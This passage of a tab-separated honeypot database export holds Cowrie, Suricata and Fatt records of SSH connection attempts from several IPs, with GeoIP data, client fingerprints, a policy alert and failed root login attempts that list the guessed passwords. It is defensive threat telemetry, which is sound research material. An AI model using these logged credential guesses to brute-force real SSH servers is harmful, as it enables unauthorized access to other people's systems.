"Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "3eb152eaa0c5", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:41:19.234773Z", "@timestamp": "2021-09-20T11:41:19.234Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31033	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:41:19.581759+03	2021-09-20 14:45:03.954173+03	{"_id": "PAYCA3wBvYTbRNuErUHf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "3eb152eaa0c5", "@version": "1", "timestamp": "2021-09-20T11:41:19.581759Z", "@timestamp": "2021-09-20T11:41:19.581Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31034	123.124.200.114	109.199.241.180	Suricata	2021-09-20 14:41:19.580647+03	2021-09-20 14:45:03.956179+03	{"_id": "PQYCA3wBvYTbRNuEr0Gd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.124.200.114", "dest_ip": "192.168.20.116", "flow_id": 911024628596476, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 3738, "dest_port": 22, "timestamp": "2021-09-20T11:41:19.580647Z", "@timestamp": "2021-09-20T11:41:19.580Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31053	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:41:14.985112+03	2021-09-20 14:45:03.981143+03	{"_id": "IQYCA3wBvYTbRNuEnkE9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "1373effa62ce", "@version": "1", "duration": 5.522001504898071, "timestamp": "2021-09-20T11:41:14.985112Z", "@timestamp": "2021-09-20T11:41:14.985Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31035	123.124.200.114	109.199.241.180	Fatt	2021-09-20 14:41:19.581141+03	2021-09-20 14:45:03.957173+03	{"_id": "QAYCA3wBvYTbRNuEsEGM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "123.124.200.114", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 3738, "dest_port": 22, "timestamp": "2021-09-20T11:41:19.581141", "@timestamp": "2021-09-20T11:41:19.581Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31036	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:41:11.266537+03	2021-09-20 14:45:03.958143+03	{"_id": "CAYCA3wBvYTbRNuEjkGY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d9c6352c4257", "@version": "1", "duration": 2.1380386352539062, "timestamp": "2021-09-20T11:41:11.266537Z", "@timestamp": "2021-09-20T11:41:11.266Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31037	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:41:12.196696+03	2021-09-20 14:45:03.960173+03	{"_id": "DwYCA3wBvYTbRNuEkkGC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.70.175.230:51132 (192.168.176.2:22) [session: 54a77dfe9b2e]", "session": "54a77dfe9b2e", "@version": "1", "protocol": "ssh", "src_port": 51132, "dest_port": 22, "timestamp": "2021-09-20T11:41:12.196696Z", "@timestamp": "2021-09-20T11:41:12.196Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31038	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:41:12.199509+03	2021-09-20 14:45:03.961172+03	{"_id": "EAYCA3wBvYTbRNuEkkGC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "54a77dfe9b2e", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:41:12.199509Z", "@timestamp": "2021-09-20T11:41:12.199Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31039	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:41:12.42639+03	2021-09-20 14:45:03.962173+03	{"_id": "EQYCA3wBvYTbRNuEkkGC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/4h3I5Lik3P4rtY@v3r] failed", "session": "1373effa62ce", "@version": "1", "password": "4h3I5Lik3P4rtY@v3r", "username": "root", "timestamp": "2021-09-20T11:41:12.426390Z", "@timestamp": "2021-09-20T11:41:12.426Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31040	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:41:12.449415+03	2021-09-20 14:45:03.963143+03	{"_id": "EgYCA3wBvYTbRNuEkkGC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "54a77dfe9b2e", "@version": "1", "timestamp": "2021-09-20T11:41:12.449415Z", "@timestamp": "2021-09-20T11:41:12.449Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31041	81.70.175.230	109.199.241.180	Suricata	2021-09-20 14:41:12.44825+03	2021-09-20 14:45:03.965183+03	{"_id": "EwYCA3wBvYTbRNuElEFC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.70.175.230", "dest_ip": "192.168.20.116", "flow_id": 2024853529391083, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51132, "dest_port": 22, "timestamp": "2021-09-20T11:41:12.448250Z", "@timestamp": "2021-09-20T11:41:12.448Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31042	81.70.175.230	109.199.241.180	Fatt	2021-09-20 14:41:12.448862+03	2021-09-20 14:45:03.966146+03	{"_id": "FQYCA3wBvYTbRNuElUEw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.70.175.230", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 51132, "dest_port": 22, "timestamp": "2021-09-20T11:41:12.448862", "@timestamp": "2021-09-20T11:41:12.448Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31043	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:41:13.549226+03	2021-09-20 14:45:03.969176+03	{"_id": "FwYCA3wBvYTbRNuElkFq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.login.failed", "message": "login attempt [ser/12345] failed", "session": "54a77dfe9b2e", "@version": "1", "password": "12345", "username": "ser", "timestamp": "2021-09-20T11:41:13.549226Z", "@timestamp": "2021-09-20T11:41:13.549Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31044	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:41:13.716741+03	2021-09-20 14:45:03.970142+03	{"_id": "GQYCA3wBvYTbRNuEmkFT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/4r5t6y7u] failed", "session": "1373effa62ce", "@version": "1", "password": "4r5t6y7u", "username": "root", "timestamp": "2021-09-20T11:41:13.716741Z", "@timestamp": "2021-09-20T11:41:13.716Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31045	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:41:11.137033+03	2021-09-20 14:45:03.971172+03	{"_id": "CQYCA3wBvYTbRNuEjkGY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/456789] failed", "session": "1373effa62ce", "@version": "1", "password": "456789", "username": "root", "timestamp": "2021-09-20T11:41:11.137033Z", "@timestamp": "2021-09-20T11:41:11.137Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31046	81.70.175.230	109.199.241.180	Suricata	2021-09-20 14:41:12.448862+03	2021-09-20 14:45:03.972173+03	{"_id": "FAYCA3wBvYTbRNuElEFC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:41:11.946155+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.70.175.230", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2024853529391083, "payload": "AAADzAYU6RnjEyxmpTRcANUwSRUxgQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51132, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:41:12.448862Z", "@timestamp": "2021-09-20T11:41:12.448Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": 